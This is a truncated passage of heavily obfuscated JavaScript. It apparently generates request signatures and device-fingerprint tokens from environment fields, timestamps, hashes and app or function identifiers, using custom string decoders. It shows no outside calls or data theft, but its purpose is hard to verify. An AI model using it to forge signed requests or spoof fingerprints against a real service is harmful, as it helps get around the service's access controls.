kSJK0j(0x236):return{[tON7qH(0x109)]:0x0,[NPGKj5(0x122)]:0x0,l:kSJK0j(tON7qH(0x10a)),[tON7qH(0x10b)]:kSJK0j(NPGKj5(0x121)),ml:0x2,pl:NPGKj5(0xb0),[tON7qH(0xfc)]:MJaNIHS[NPGKj5(0x100)],ua:MJaNIHS.ua,[kSJK0j(0x222)]:MJaNIHS[kSJK0j(tON7qH(0x114))],[NPGKj5(0x111)]:MJaNIHS[kSJK0j(NPGKj5(0x119))]?{p1:MJaNIHS[kSJK0j(0x223)],[NPGKj5(0x11a)]:MJaNIHS[kSJK0j(NPGKj5(0x119))],p3:MJaNIHS[kSJK0j(NPGKj5(0x119))]}:{},[IxGE7SR(0x22e)]:{[tON7qH(0x11e)]:0x0,[tON7qH(0x113)]:0x0,ls:0x5,wk:0x0,[kSJK0j(NPGKj5(0x126))]:MJaNIHS[kSJK0j(0x22f)]||kSJK0j(0x232),[kSJK0j.call(NPGKj5(0xa5),0x233)]:tON7qH(0x9e),[kSJK0j(0x234)]:0x64,[kSJK0j(0x235)]:0x0},[kSJK0j(0x224)]:MJaNIHS[kSJK0j[NPGKj5(0xb2)](void 0x0,NPGKj5(0x119))]?'':MJaNIHS[kSJK0j(NPGKj5(0x123))],[tON7qH(0x117)]:{[NPGKj5(0x124)]:kSJK0j(0x225),np:kSJK0j(tON7qH(0x10f))},[tON7qH(0x108)]:RYpFQET,h:FigIJC,[tON7qH(0x110)]:frvUqN6,oh:KwUmoG,[kSJK0j(NPGKj5(0x11e))]:MJaNIHS[kSJK0j(NPGKj5(0x11e))],[tON7qH(0x103)]:MJaNIHS.og,pr:0x1,[NPGKj5(0x11f)]:MJaNIHS[kSJK0j(0x228)],[kSJK0j(NPGKj5(0x120))]:MJaNIHS[kSJK0j.apply(tON7qH(0xa1),[tON7qH(0x11c)])],[kSJK0j(NPGKj5(0x115))]:MJaNIHS[kSJK0j(0x228)],v:MJaNIHS.fv,[NPGKj5(0x125)]:MJaNIHS[kSJK0j(tON7qH(0x112))],[tON7qH(0xef)]:MJaNIHS.fp};case IxGE7SR(0x238):return{wc:tON7qH(0x9e),wd:0x0,l:kSJK0j(NPGKj5(0x10e)),[tON7qH(0x10b)]:kSJK0j(tON7qH(0x11d)),ml:0x0,pl:0x0,av:MJaNIHS[tON7qH(0xfc)],ua:MJaNIHS[tON7qH(0x100)],[kSJK0j[tON7qH(0xb1)](tON7qH(0xa1),[NPGKj5(0x118)])]:MJaNIHS[kSJK0j(0x222)],[tON7qH(0x10d)]:MJaNIHS[kSJK0j[NPGKj5(0xb5)](void 0x0,[NPGKj5(0x119)])]?{p1:MJaNIHS[kSJK0j(tON7qH(0x115))],[NPGKj5(0x11a)]:MJaNIHS[kSJK0j(NPGKj5(0x119))]}:{},[IxGE7SR(tON7qH(0x125))]:{wd:0x0,l:tON7qH(0x9e),ls:0x5,wk:tON7qH(0x9e),[kSJK0j(0x22f)]:MJaNIHS[kSJK0j(tON7qH(0x122))]||IxGE7SR(0x237),[kSJK0j(0x233)]:0x0,[kSJK0j(0x234)]:0x64,[kSJK0j.apply(void 0x0,[NPGKj5(0x12a)])]:NPGKj5(0xa2)},[kSJK0j(0x224)]:MJaNIHS[kSJK0j(0x223)]?'':MJaNIHS[kSJK0j(tON7qH(0x11f))],[NPGKj5(0x10c)]:RYpFQET,[tON7qH(0x123)]:FigIJC,[NPGKj5(0x114)]:frvUqN6,[tON7qH(0x119)]:KwUmoG,[kSJK0j[NPGKj5(0xb2)](void 0x0,NPGKj5(0x11e))]:MJaNIHS[kSJK0j(0x227)],og:MJaNIHS[tON7qH(0x103)],pr:tON7qH(0xa2),[tON7qH(0x11b)]:MJaNIHS[kSJK0j(NPGKj5(0x115))],[kSJK0j[NPGKj5(0xb5)](NPGKj5(0xa5),[0x22c])]:MJaNIHS[kSJK0j(NPGKj5(0x120))],[kSJK0j(tON7qH(0x111))]:MJaNIHS[kSJK0j.apply(void 0x0,[0x228])],[NPGKj5(0x128)]:MJaNIHS[NPGKj5(0x109)],ai:MJaNIHS[kSJK0j(tON7qH(0x112))],[tON7qH(0xef)]:MJaNIHS[tON7qH(0xef)]};case IxGE7SR(0x243):return{[tON7qH(0x109)]:0x0,[NPGKj5(0x122)]:0x0,[NPGKj5(0x117)]:kSJK0j(NPGKj5(0x10e)),[NPGKj5(0x10f)]:kSJK0j.apply(NPGKj5(0xa5),[0x220]),[NPGKj5(0x110)]:0x2,pl:0x5,av:MJaNIHS[tON7qH(0xfc)],ua:MJaNIHS.ua,[kSJK0j.apply(void 0x0,[0x222])]:MJaNIHS[kSJK0j(tON7qH(0x114))],pp:MJaNIHS[kSJK0j(NPGKj5(0x119))]?{p1:MJaNIHS[kSJK0j(0x223)]}:{},[IxGE7SR(NPGKj5(0x129))]:{wd:tON7qH(0x9e),l:NPGKj5(0xa2),ls:NPGKj5(0xa2),[tON7qH(0x12f)]:NPGKj5(0xa2),[kSJK0j(tON7qH(0x122))]:MJaNIHS[kSJK0j[tON7qH(0xae)](tON7qH(0xa1),0x22f)]||IxGE7SR(0x237),[kSJK0j(0x233)]:0x0,[kSJK0j(0x234)]:0x40,[kSJK0j(tON7qH(0x126))]:tON7qH(0x9e),[IxGE7SR[NPGKj5(0xb2)](void 0x0,0x239)]:0x0,[kSJK0j(0x23a)]:tON7qH(0xaf),[kSJK0j(0x23b)]:'',[kSJK0j(0x23c)]:0x0},[kSJK0j(tON7qH(0x127))]:MJaNIHS[kSJK0j(0x223)]?'':MJaNIHS[kSJK0j[NPGKj5(0xb2)](void 0x0,tON7qH(0x11f))],[NPGKj5(0x10c)]:RYpFQET,h:FigIJC,[tON7qH(0x110)]:frvUqN6,oh:KwUmoG,[kSJK0j(0x227)]:MJaNIHS[kSJK0j.apply(tON7qH(0xa1),[0x227])],og:MJaNIHS.og,pf:IxGE7SR.apply(NPGKj5(0xa5),[0x23d]),pr:tON7qH(0xa2),[NPGKj5(0x11f)]:MJaNIHS[kSJK0j(0x228)],[kSJK0j(NPGKj5(0x120))]:MJaNIHS[kSJK0j(NPGKj5(0x120))],[kSJK0j(NPGKj5(0x115))]:MJaNIHS[kSJK0j(0x228)],[NPGKj5(0x128)]:MJaNIHS[tON7qH(0x105)],[kSJK0j(0x233)]:'',[kSJK0j(0x23e)]:MJaNIHS[kSJK0j(0x23e)],[kSJK0j(0x23f)]:MJaNIHS[kSJK0j(0x23e)],[IxGE7SR(0x240)]:MJaNIHS[IxGE7SR(0x240)],[kSJK0j(0x241)]:MJaNIHS[IxGE7SR[tON7qH(0xae)](void 0x0,0x240)],[IxGE7SR(0x242)]:MJaNIHS[IxGE7SR(0x242)],[NPGKj5(0x125)]:MJaNIHS[kSJK0j.call(tON7qH(0xa1),NPGKj5(0x116))],fp:MJaNIHS[NPGKj5(0xf3)]};default:return{}}function DsuuPnn(MJaNIHS,IxGE7SR='uagkDiFPc$ChwQBxA74]En1L%6N>{H8G@W"t`v*o[(Y052!eyq#,;}jf.?:IpXU9~S+KZmT=d<)J^3srbzlO&|_MR/V',RYpFQET,FigIJC,frvUqN6=[],KwUmoG,DsuuPnn,IyrnYd,kSJK0j,oAynxz1){RFEWPl(RYpFQET=''+(MJaNIHS||''),FigIJC=RYpFQET.length,KwUmoG=tON7qH(0x9e),DsuuPnn=tON7qH(0x9e),IyrnYd=-NPGKj5(0xa6));for(kSJK0j=NPGKj5(0xa2);kSJK0j0x58?0xd:0xe);do{RFEWPl(frvUqN6.push(KwUmoG&0xff),KwUmoG>>=0x8,DsuuPnn-=0x8)}while(DsuuPnn>0x7);IyrnYd=-0x1}}if(IyrnYd>-0x1){frvUqN6.push((KwUmoG|IyrnYd<{if(typeof NPGKj5===tON7qH(0xa0)){NPGKj5=hMt87a}if(typeof FigIJC===tON7qH(0xa0)){FigIJC=_8OS3zf}if(IyrnYd){[FigIJC,IyrnYd]=[NPGKj5(FigIJC),MJaNIHS||IxGE7SR];return RYpFQET(MJaNIHS,FigIJC,IxGE7SR)}if(MJaNIHS!==IyrnYd){return FigIJC[MJaNIHS]||(FigIJC[MJaNIHS]=NPGKj5(mC1cgey[MJaNIHS]))}if(IxGE7SR&&NPGKj5!==hMt87a){RYpFQET=hMt87a;return RYpFQET(MJaNIHS,-tON7qH(0xa2),IxGE7SR,NPGKj5,FigIJC)}};const FigIJC=NPGKj5[kSJK0j(tON7qH(0x13a))],frvUqN6=new Date(NPGKj5[kSJK0j(0x246)]),KwUmoG=`${frvUqN6[kSJK0j(0x247)]()}${String(jrDSE_k(frvUqN6[kSJK0j(0x248)](),0x1,NHJpwc=-0x27))[kSJK0j(0x249)](tON7qH(0xb4),'0')}${String(frvUqN6[kSJK0j(0x24a)]())[kSJK0j(0x249)](0x2,tON7qH(0x128))}${String(frvUqN6[kSJK0j(0x24b)]())[kSJK0j(0x249)](0x2,'0')}${String(frvUqN6[kSJK0j[tON7qH(0xb1)](tON7qH(0xa1),[0x24c])]())[kSJK0j(0x249)](tON7qH(0xb4),tON7qH(0x128))}${String(frvUqN6[kSJK0j(0x24d)]())[kSJK0j.apply(void 0x0,[tON7qH(0x129)])](tON7qH(0xb4),tON7qH(0x128))}${String(frvUqN6[kSJK0j.apply(void 0x0,[0x24e])]())[kSJK0j(tON7qH(0x129))](0x3,'0')}`,DsuuPnn=KwUmoG[kSJK0j(0x24f)](this[kSJK0j(0x250)][FigIJC]);let oAynxz1=Object[kSJK0j(0x251)](MJaNIHS)[kSJK0j(tON7qH(0x13b))](([MJaNIHS,IyrnYd])=>{if(MJaNIHS===kSJK0j[tON7qH(0xb1)](void 0x0,[0x253])){IyrnYd=LXH4_k1[kSJK0j(0x254)](JSON[kSJK0j(0x255)](IyrnYd))[kSJK0j(0x256)]()}return{[kSJK0j(0x257)]:MJaNIHS,[kSJK0j(0x258)]:IyrnYd}});const vMXsiAl=this[kSJK0j(0x259)][FigIJC]||LXH4_k1;let pp1Zr0='',Uyxnic='',avV1p3Q='';const arrDCSQ=oAynxz1[kSJK0j[tON7qH(0xb1)](void 0x0,[0x252])](MJaNIHS=>`${MJaNIHS[kSJK0j(0x25a)]}:${MJaNIHS[kSJK0j(0x25b)]}`)[kSJK0j[tON7qH(0xb1)](tON7qH(0xa1),[0x25c])]('&'),P2IntX=IxGE7SR(IyrnYd,NPGKj5.fp,DsuuPnn,NPGKj5[kSJK0j.call(tON7qH(0xa1),0x25d)],vMXsiAl)[kSJK0j[tON7qH(0xb1)](tON7qH(0xa1),[tON7qH(0x12a)])]()||'',PVVJob=this[kSJK0j(0x25f)][FigIJC];if([kSJK0j(0x260),kSJK0j(0x261),kSJK0j(0x262),kSJK0j(0x263)][kSJK0j(tON7qH(0x12b))](PVVJob)){pp1Zr0=vMXsiAl[PVVJob](''[kSJK0j(0x24f)](P2IntX)[kSJK0j(0x24f)](arrDCSQ)[kSJK0j(tON7qH(0x12c))](P2IntX))[kSJK0j.apply(void 0x0,[tON7qH(0x12a)])]()}else{if([kSJK0j(0x265),kSJK0j(0x266),kSJK0j(0x267),kSJK0j.apply(void 0x0,[0x268])][kSJK0j[tON7qH(0xae)](void 0x0,tON7qH(0x12b))](PVVJob)){pp1Zr0=vMXsiAl[PVVJob](''[kSJK0j(tON7qH(0x12c))](arrDCSQ),''[kSJK0j(0x24f)](P2IntX))[kSJK0j(tON7qH(0x12a))]()}}let PN02HN={};switch(FigIJC){case kSJK0j(0x26b):PN02HN={[kSJK0j.apply(tON7qH(0xa1),[0x269])]:NPGKj5[kSJK0j(tON7qH(0x12e))],pp:NPGKj5[kSJK0j(tON7qH(0x12d))]?{p1:NPGKj5[kSJK0j(0x26a)],p2:NPGKj5[kSJK0j(tON7qH(0x12d))]}:{},[tON7qH(0xef)]:NPGKj5[tON7qH(0xef)]};break;case kSJK0j.apply(void 0x0,[0x26e]):PN02HN={[kSJK0j(0x269)]:NPGKj5[kSJK0j(0x269)],[tON7qH(0x10d)]:{},[kSJK0j(tON7qH(0x131))]:NPGKj5[kSJK0j(0x26c)],[kSJK0j(tON7qH(0x132))]:NPGKj5[kSJK0j(0x26d)],[tON7qH(0x124)]:NPGKj5.fv,[tON7qH(0xef)]:NPGKj5.fp};break;case kSJK0j(0x272):PN02HN={[kSJK0j(0x269)]:NPGKj5[kSJK0j(tON7qH(0x12e))],[tON7qH(0x10d)]:NPGKj5[kSJK0j(0x26a)]?{p1:NPGKj5[kSJK0j.call(void 0x0,0x26a)],[tON7qH(0x116)]:NPGKj5[kSJK0j(0x26a)]}:{},[kSJK0j[tON7qH(0xae)](tON7qH(0xa1),tON7qH(0x133))]:{[tON7qH(0x117)]:tON7qH(0x9e),[tON7qH(0x11e)]:tON7qH(0x9e),[tON7qH(0x113)]:tON7qH(0x9e),[tON7qH(0x10b)]:0x2,[tON7qH(0x12f)]:0x0,[kSJK0j(tON7qH(0x130))]:NPGKj5[kSJK0j(tON7qH(0x130))]||kSJK0j(0x271)},[kSJK0j(tON7qH(0x131))]:NPGKj5[kSJK0j.call(void 0x0,tON7qH(0x131))],[kSJK0j(tON7qH(0x132))]:NPGKj5[kSJK0j(0x26d)],[tON7qH(0x124)]:NPGKj5.fv,[tON7qH(0xef)]:NPGKj5[tON7qH(0xef)]};break;case kSJK0j.apply(tON7qH(0xa1),[0x277]):PN02HN={[kSJK0j(tON7qH(0x12e))]:NPGKj5[kSJK0j(tON7qH(0x12e))],[tON7qH(0x10d)]:NPGKj5[kSJK0j(0x26a)]?{p1:NPGKj5[kSJK0j(tON7qH(0x12d))],p2:NPGKj5[kSJK0j(tON7qH(0x12d))],p3:NPGKj5[kSJK0j[tON7qH(0xb1)](tON7qH(0xa1),[0x26a])]}:{},[kSJK0j(0x26f)]:{wd:0x0,l:tON7qH(0x9e),ls:tON7qH(0xac),wk:0x0,[kSJK0j(0x270)]:NPGKj5[kSJK0j(tON7qH(0x130))]||RYpFQET.call(void 0x0,0x273),[kSJK0j(tON7qH(0x135))]:jrDSE_k(0x1,NHJpwc=tON7qH(0xb7)),[kSJK0j(0x275)]:0x64,[RYpFQET(tON7qH(0x134))]:0x0},[kSJK0j.apply(tON7qH(0xa1),[0x26c])]:NPGKj5[kSJK0j(0x26c)],[tON7qH(0x124)]:NPGKj5.fv,[tON7qH(0xef)]:NPGKj5[tON7qH(0xef)]};break;case kSJK0j.call(tON7qH(0xa1),0x27a):PN02HN={[kSJK0j(tON7qH(0x12e))]:NPGKj5[kSJK0j(tON7qH(0x12e))],[tON7qH(0x10d)]:NPGKj5[kSJK0j.apply(tON7qH(0xa1),[0x26a])]?{p1:NPGKj5[kSJK0j(tON7qH(0x12d))],p2:NPGKj5[kSJK0j(0x26a)]}:{},[kSJK0j(tON7qH(0x133))]:{[tON7qH(0x11e)]:0x0,[tON7qH(0x113)]:0x0,[tON7qH(0x10b)]:0x5,[tON7qH(0x12f)]:0x0,[kSJK0j(tON7qH(0x130))]:NPGKj5[kSJK0j(0x270)]||kSJK0j(0x278),[kSJK0j(0x274)]:jrDSE_k(0x1,f6acqyj(0xa)),[kSJK0j(tON7qH(0x136))]:tON7qH(0xad),[RYpFQET(tON7qH(0x134))]:0x0,[kSJK0j.apply(void 0x0,[0x279])]:0x0},[kSJK0j(0x26c)]:NPGKj5[kSJK0j(0x26c)],[tON7qH(0x124)]:NPGKj5[tON7qH(0x105)],[tON7qH(0xef)]:NPGKj5.fp};break;case RYpFQET(0x281):PN02HN={[kSJK0j[tON7qH(0xae)](void 0x0,tON7qH(0x12e))]:NPGKj5[kSJK0j(0x269)],pp:NPGKj5[kSJK0j(tON7qH(0x12d))]?{p1:NPGKj5[kSJK0j(0x26a)]}:{},[kSJK0j(0x26f)]:{wd:tON7qH(0x9e),[tON7qH(0x113)]:tON7qH(0x9e),[tON7qH(0x10b)]:tON7qH(0xac),[tON7qH(0x12f)]:tON7qH(0x9e),[kSJK0j.apply(void 0x0,[0x270])]:NPGKj5[kSJK0j(0x270)]||kSJK0j(0x278),[kSJK0j(tON7qH(0x135))]:jrDSE_k(0x1,f6acqyj(0xa)),[kSJK0j(tON7qH(0x136))]:0x42,[RYpFQET(tON7qH(0x134))]:0x0,[kSJK0j(0x279)]:0x0,[RYpFQET(0x27b)]:tON7qH(0x137),[kSJK0j(0x27c)]:'',[RYpFQET(0x27d)]:tON7qH(0x9e)},[kSJK0j(0x26c)]:NPGKj5[kSJK0j(0x26c)],[tON7qH(0x124)]:NPGKj5.fv,[RYpFQET(tON7qH(0x138))]:NPGKj5[RYpFQET.apply(tON7qH(0xa1),[tON7qH(0x138)])],[kSJK0j(0x27f)]:NPGKj5[kSJK0j(0x27f)],[kSJK0j(tON7qH(0x139))]:NPGKj5[kSJK0j(tON7qH(0x139))],[tON7qH(0xef)]:NPGKj5.fp}}Uyxnic=this[RYpFQET(0x282)](JSON[kSJK0j(0x283)](PN02HN,tON7qH(0xb6),0x2),LXH4_k1[RYpFQET(0x284)][kSJK0j(0x285)][RYpFQET(0x286)](this[RYpFQET(0x287)][FigIJC]),FigIJC);switch(NPGKj5[kSJK0j.call(void 0x0,tON7qH(0x13a))]){case RYpFQET(0x281):avV1p3Q=vMXsiAl[kSJK0j(0x260)](''[kSJK0j(tON7qH(0x12c))](P2IntX)[kSJK0j(tON7qH(0x12c))](`appid:${MJaNIHS[RYpFQET(0x288)]}&functionId:${MJaNIHS[RYpFQET(0x289)]}`)[kSJK0j(0x24f)](P2IntX))[kSJK0j(0x25e)]()}const FargF8=[''[kSJK0j(0x24f)](KwUmoG),''[kSJK0j(0x24f)](NPGKj5[tON7qH(0xef)]),''[kSJK0j(0x24f)](NPGKj5[kSJK0j[tON7qH(0xae)](void 0x0,0x25d)]),''[kSJK0j.call(tON7qH(0xa1),0x24f)](IyrnYd),''[kSJK0j(0x24f)](pp1Zr0),''[kSJK0j(tON7qH(0x12c))](FigIJC),''[kSJK0j(tON7qH(0x12c))](String(NPGKj5[kSJK0j(0x246)])),''[kSJK0j(0x24f)](Uyxnic)];if(avV1p3Q){FargF8[RYpFQET(0x28a)](avV1p3Q)}return{[kSJK0j(0x28b)]:oAynxz1[kSJK0j.call(tON7qH(0xa1),tON7qH(0x13b))](MJaNIHS=>MJaNIHS[RYpFQET[tON7qH(0xb1)](tON7qH(0xa1),[0x28c])])[kSJK0j(0x25c)](','),[kSJK0j.call(tON7qH(0xa1),0x28d)]:tON7qH(0xa2),[RYpFQET(0x28e)]:FargF8[kSJK0j(0x25c)](';')};function hMt87a(MJaNIHS,IyrnYd='K#DN2jfUT"{?Y@u.e3oq0&l9aSbhs~)p5my$%c=4^F7V/!I<(>1;tJ68zXR]P*gQCOrExBvi|}w_,+:`L[AGnMdWkHZ',IxGE7SR,NPGKj5,RYpFQET=[],FigIJC,frvUqN6,KwUmoG,DsuuPnn=0x0,oAynxz1){RFEWPl(IxGE7SR=''+(MJaNIHS||''),NPGKj5=IxGE7SR.length,FigIJC=tON7qH(0x9e),frvUqN6=tON7qH(0x9e),KwUmoG=-0x1);for(DsuuPnn=DsuuPnn;DsuuPnntON7qH(0xa7)?tON7qH(0xa8):0xe);do{RFEWPl(RYpFQET.push(FigIJC&0xff),FigIJC>>=0x8,frvUqN6-=0x8)}while(frvUqN6>0x7);KwUmoG=-0x1}}if(KwUmoG>-0x1){RYpFQET.push((FigIJC|KwUmoG<{const RFEWPl=[tON7qH(0x145),'2','3'],MJaNIHS=['+','x'],IyrnYd=jrDSE_k(0x2,Math[kSJK0j(0x295)](0x4*Math[kSJK0j(0x296)]()),f6acqyj(-tON7qH(0xb3)));let IxGE7SR='';for(let NPGKj5=tON7qH(0x9e);NPGKj5{function IxGE7SR(IxGE7SR){return IxGE7SR[kSJK0j(0x2a0)](NPGKj5=>{let RYpFQET=jrDSE_k('00',(0xff&NPGKj5)[kSJK0j(0x2a1)](0x10),f6acqyj(-tON7qH(0xb3)));return RYpFQET[kSJK0j[tON7qH(0xae)](void 0x0,0x2a2)](jrDSE_k(0x2,NHJpwc=0xa))})[kSJK0j(0x2a3)]('')}function NPGKj5(NPGKj5){let RYpFQET=new Uint8Array(NPGKj5[kSJK0j(0x2a4)]);return PN02HN(RYpFQET[kSJK0j(0x2a5)]((RYpFQET,IxGE7SR,KwUmoG)=>(KwUmoG[IxGE7SR]=(NPGKj5[kSJK0j(0x2a6)](IxGE7SR)),void 0x0)),IxGE7SR(RYpFQET))}function RYpFQET(IxGE7SR){let NPGKj5=function(){let NPGKj5=new ArrayBuffer(0x2);return PN02HN(new DataView(NPGKj5)[kSJK0j(0x2a7)](tON7qH(0x9e),tON7qH(0x13d),jrDSE_k(0x0,NHJpwc=-0x13)),0x100===new Int16Array(NPGKj5)[tON7qH(0x9e)])}(),RYpFQET=Math[kSJK0j(0x2a8)](jrDSE_k(IxGE7SR,Math[kSJK0j(0x2a9)](0x2,0x20),NHJpwc=tON7qH(0xbc))),frvUqN6=IxGE7SR%Math[kSJK0j(0x2a9)](0x2,0x20),oAynxz1=new ArrayBuffer(0x8),MJaNIHS=new DataView(oAynxz1);return PN02HN(NPGKj5?(MJaNIHS[kSJK0j(0x2aa)](tON7qH(0x9e),frvUqN6,NPGKj5),MJaNIHS[kSJK0j(0x2aa)](0x4,RYpFQET,NPGKj5)):(MJaNIHS[kSJK0j(0x2aa)](tON7qH(0x9e),RYpFQET,NPGKj5),MJaNIHS[kSJK0j(0x2aa)](0x4,frvUqN6,NPGKj5)),new Uint8Array(oAynxz1))}let frvUqN6='',KwUmoG=Date.now(),DsuuPnn=MJaNIHS.secret,oAynxz1=function(IxGE7SR,NPGKj5,KwUmoG,oAynxz1){let MJaNIHS=new Uint8Array(tON7qH(0xea)),IyrnYd=PN02HN(MJaNIHS.forEach((NPGKj5,MJaNIHS,IyrnYd)=>(IyrnYd[MJaNIHS]=(IxGE7SR.charCodeAt(MJaNIHS)),void 0x0)),RYpFQET(NPGKj5)),vMXsiAl=new Uint8Array(tON7qH(0xb4)),pp1Zr0=PN02HN(vMXsiAl.forEach((IxGE7SR,MJaNIHS,IyrnYd)=>(IyrnYd[MJaNIHS]=(KwUmoG.charCodeAt(MJaNIHS)),void 0x0)),new Uint8Array(0xc)),_8OS3zf=PN02HN(pp1Zr0.forEach((IxGE7SR,MJaNIHS,IyrnYd)=>(IyrnYd[MJaNIHS]=(oAynxz1.charCodeAt(MJaNIHS)),void 0x0)),new Uint8Array(tON7qH(0x13e))),mC1cgey=PN02HN((_8OS3zf.set(vMXsiAl),_8OS3zf.set(pp1Zr0,0x2),_8OS3zf.set(IyrnYd,0xe),_8OS3zf.set(MJaNIHS,0x16)),FigIJC.buf(_8OS3zf)),Uyxnic=PN02HN(mC1cgey>>>=0x0,jrDSE_k(kSJK0j(0x2ab),mC1cgey.toString(0x10),f6acqyj(-0x27)));return Uyxnic.substring(jrDSE_k(Uyxnic.length,tON7qH(0xa3),NHJpwc=tON7qH(0xd8)))}(RFEWPl,KwUmoG,MJaNIHS.prefix,DsuuPnn);return PN02HN(frvUqN6+=NPGKj5(oAynxz1),frvUqN6+=NPGKj5(MJaNIHS[kSJK0j(0x2ac)]),frvUqN6+=NPGKj5(DsuuPnn),frvUqN6+=IxGE7SR(RYpFQET(KwUmoG)),frvUqN6+=NPGKj5(RFEWPl),this[kSJK0j(0x2ad)](LXH4_k1[kSJK0j(0x2ae)][kSJK0j(0x2af)][kSJK0j(0x2b0)](frvUqN6),LXH4_k1[kSJK0j(0x2ae)][kSJK0j(0x2b1)][kSJK0j(0x2b0)](MJaNIHS[kSJK0j.call(void 0x0,0x2b2)]),IyrnYd))},RYpFQET=RFEWPl=>{const MJaNIHS=[RFEWPl[kSJK0j(0x2b3)],RFEWPl[kSJK0j.call(tON7qH(0xa1),0x2b4)],RFEWPl[kSJK0j(0x2b5)],RFEWPl[kSJK0j(0x2b6)],RFEWPl[kSJK0j(0x2b7)],RFEWPl[kSJK0j(0x2b8)],RFEWPl[kSJK0j(0x2b9)]][kSJK0j(0x2ba)]('');let IyrnYd=FigIJC[kSJK0j(0x2bb)](MJaNIHS),IxGE7SR=PN02HN(IyrnYd>>>=tON7qH(0x9e),jrDSE_k(kSJK0j(0x2bc),IyrnYd[kSJK0j(0x2bd)](tON7qH(0xea)),NHJpwc=-tON7qH(0xb3)));return IxGE7SR[kSJK0j(0x2be)](jrDSE_k(IxGE7SR[kSJK0j(0x2bf)],tON7qH(0xa3),f6acqyj(tON7qH(0xd8))))},FigIJC=this[kSJK0j[tON7qH(0xae)](void 0x0,0x2c0)],frvUqN6={[kSJK0j(0x2c1)]:'tk',[kSJK0j(0x2c2)]:'03',[kSJK0j(tON7qH(0x13f))]:'w',[kSJK0j(0x2c4)]:'41',[kSJK0j(tON7qH(0x140))]:tON7qH(0x113),[kSJK0j(0x2c6)]:IxGE7SR(),[kSJK0j(tON7qH(0x141))]:NPGKj5(RFEWPl)};return PN02HN(frvUqN6[kSJK0j(0x2c8)]=RYpFQET(frvUqN6),[frvUqN6[kSJK0j(0x2c1)],frvUqN6[kSJK0j(0x2c2)],frvUqN6[kSJK0j(tON7qH(0x13f))],frvUqN6[kSJK0j(0x2c8)],frvUqN6[kSJK0j[tON7qH(0xb1)](void 0x0,[0x2c4])],frvUqN6[kSJK0j(tON7qH(0x140))],frvUqN6[kSJK0j.apply(void 0x0,[0x2c6])],frvUqN6[kSJK0j(tON7qH(0x141))]][kSJK0j(0x2c9)](''))}[kSJK0j(0x2ca)](RFEWPl,MJaNIHS,IyrnYd,IxGE7SR,NPGKj5,RYpFQET){const FigIJC=(MJaNIHS,IyrnYd,IxGE7SR)=>{let RYpFQET='';switch(MJaNIHS){case'1':RYpFQET=kSJK0j(0x2cb);break;case'2':RYpFQET=kSJK0j(0x2cc);break;case tON7qH(0x142):RYpFQET=kSJK0j.apply(void 0x0,[0x2cd])}return MJaNIHS===tON7qH(0x142)?IxGE7SR[RYpFQET](IyrnYd,RFEWPl)[kSJK0j.call(tON7qH(0xa1),0x2ce)]():IxGE7SR[RYpFQET](IyrnYd)[kSJK0j(0x2ce)]()};let frvUqN6='';const KwUmoG=''[kSJK0j(tON7qH(0x143))](RFEWPl)[kSJK0j(0x2cf)](MJaNIHS)[kSJK0j(0x2cf)](IyrnYd)[kSJK0j(tON7qH(0x143))](IxGE7SR)[kSJK0j(0x2cf)](RYpFQET),DsuuPnn=RFEWPl[kSJK0j(0x2d0)](tON7qH(0xea),0x1c),oAynxz1=LXH4_k1[kSJK0j[tON7qH(0xae)](tON7qH(0xa1),0x2d1)][kSJK0j.apply(void 0x0,[0x2d2])][kSJK0j(0x2d3)](LXH4_k1[kSJK0j.apply(void 0x0,[0x2d1])][kSJK0j(0x2d4)][kSJK0j.call(void 0x0,0x2d5)](DsuuPnn[kSJK0j(tON7qH(0x144))](/-/g,'+')[kSJK0j(tON7qH(0x144))](/_/g,tON7qH(0xda)))),vMXsiAl=oAynxz1[kSJK0j(0x2d7)](new RegExp(kSJK0j(0x2d8)))[tON7qH(0x9e)][kSJK0j(0x2d9)]('');return PN02HN(vMXsiAl[kSJK0j(0x2da)]((RFEWPl,MJaNIHS,IyrnYd)=>{if([tON7qH(0x145),'2',tON7qH(0x142)][kSJK0j(0x2db)](RFEWPl)){if(MJaNIHS===tON7qH(0x9e)){frvUqN6=FigIJC(RFEWPl,KwUmoG,NPGKj5)}else{if(MJaNIHS>=tON7qH(0xb4)){const IxGE7SR=IyrnYd[jrDSE_k(MJaNIHS,tON7qH(0xa2),NHJpwc=tON7qH(0xd8))];if(IxGE7SR==='+'){frvUqN6+=FigIJC(RFEWPl,KwUmoG,NPGKj5)}else{if(IxGE7SR==='x'){frvUqN6=FigIJC(RFEWPl,frvUqN6,NPGKj5)}}}}}}),frvUqN6)}[kSJK0j(0x2dc)](MJaNIHS){var IyrnYd=(MJaNIHS,IxGE7SR,NPGKj5,RYpFQET,FigIJC)=>{if(typeof RYpFQET==='undefined'){RYpFQET=DsuuPnn}if(typeof FigIJC===tON7qH(0xa0)){FigIJC=_8OS3zf}if(MJaNIHS!==IxGE7SR){return FigIJC[MJaNIHS]||(FigIJC[MJaNIHS]=RYpFQET(mC1cgey[MJaNIHS]))}if(RYpFQET===void 0x0){IyrnYd=FigIJC}if(NPGKj5&&RYpFQET!==DsuuPnn){IyrnYd=DsuuPnn;return IyrnYd(MJaNIHS,-0x1,NPGKj5,RYpFQET,FigIJC)}if(NPGKj5==MJaNIHS){return IxGE7SR[_8OS3zf[NPGKj5]]=IyrnYd(MJaNIHS,IxGE7SR)}};const {[kSJK0j(0x2dd)]:IxGE7SR,[kSJK0j.call(tON7qH(0xa1),0x2de)]:NPGKj5}=MJaNIHS;let RYpFQET={[kSJK0j(tON7qH(0x148))]:LXH4_k1[kSJK0j(0x2df)]};for(let FigIJC of[kSJK0j.call(void 0x0,0x2e0),kSJK0j(0x2e1),kSJK0j(0x2e2),kSJK0j(0x2e3)])RYpFQET[FigIJC]=function(MJaNIHS){return LXH4_k1[FigIJC](jrDSE_k(MJaNIHS,IxGE7SR,NHJpwc=-0x27))};for(let FigIJC of[kSJK0j(0x2e4),kSJK0j(0x2e5),kSJK0j(0x2e6),kSJK0j(0x2e7)])RYpFQET[FigIJC]=function(MJaNIHS,IyrnYd){return LXH4_k1[FigIJC](jrDSE_k(MJaNIHS,IxGE7SR,f6acqyj(-0x27)),jrDSE_k(IyrnYd[kSJK0j(tON7qH(0x147))](0x0,NPGKj5)[kSJK0j(0x2e9)]('')[kSJK0j(0x2ea)](MJaNIHS=>String[kSJK0j.call(void 0x0,0x2eb)](tON7qH(0x146)-MJaNIHS[kSJK0j(0x2ec)](0x0)))[kSJK0j(0x2ed)]()[kSJK0j(0x2ee)](''),IyrnYd[kSJK0j(tON7qH(0x147))](NPGKj5),NHJpwc=-0x27))};const 